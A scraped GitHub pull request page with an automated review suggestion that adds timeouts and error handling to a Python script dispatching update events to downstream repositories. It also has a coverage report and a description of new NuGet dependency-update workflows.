🔧 Proposed fix
import json, urllib.request, os, sys
- targets = json.load(open('.github/dispatch-targets.json'))
+ with open('.github/dispatch-targets.json') as _f:
+ targets = json.load(_f)
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']
+ errors = []
for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
- with urllib.request.urlopen(req) as r:
- print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ try:
+ with urllib.request.urlopen(req, timeout=30) as r:
+ print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ except Exception as e:
+ print(f'✗ Failed to dispatch to {repo}: {e}', file=sys.stderr)
+ errors.append(repo)
+ if errors:
+ sys.exit(1)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/trigger-downstream.yml around lines 50 - 74, The loop uses
urllib.request.urlopen without a timeout and doesn't handle per-request
exceptions, so a slow or failing GitHub call can hang or abort the entire loop;
update the request to call urllib.request.urlopen(req, timeout=10) (or another
reasonable seconds value) and wrap the call in a try/except that catches
urllib.error.HTTPError and urllib.error.URLError (and a generic Exception
fallback) to log the failure for that repo (include the repo name and error) and
continue to the next target; look for the loop over targets and the
urllib.request.urlopen call to apply these changes.
|
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #23 +/- ##
=======================================
Coverage 89.69% 89.69%
=======================================
Files 4 4
Lines 97 97
Branches 9 9
=======================================
Hits 87 87
Misses 10 10 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|




This pull request introduces a new automated workflow for handling service updates triggered by upstream package releases, streamlining dependency management across related repositories. It adds scripts and workflows for propagating and applying package updates, formalizes the process for updating release notes and changelogs, and ensures that only relevant in-house packages are updated automatically. Additionally, it includes a minor documentation enhancement and a formatting fix.
Automated Service Update Infrastructure
.github/workflows/service-update.ymlto automate service updates: bumps relevant NuGet dependencies, updates release notes and changelog, and opens a pull request when triggered by an upstream release or manual dispatch..github/scripts/bump-nuget.pyto selectively update only Codebelt, Cuemon, and Savvyio packages inDirectory.Packages.propsbased on the triggering source and version, skipping unrelated third-party dependencies..github/workflows/trigger-downstream.ymlto automatically dispatch service update events to downstream repositories listed in.github/dispatch-targets.jsonwhen a new release is published, enabling chained dependency updates across the ecosystem..github/dispatch-targets.jsonto specify downstream repositories that should receive service update events when a release occurs.Documentation and Release Notes
.nuget/Codebelt.Extensions.Asp.Versioning/PackageReleaseNotes.txtfor consistency (e.g.,Version: 10.0.2instead ofVersion 10.0.2).Summary by CodeRabbit
Documentation
Chores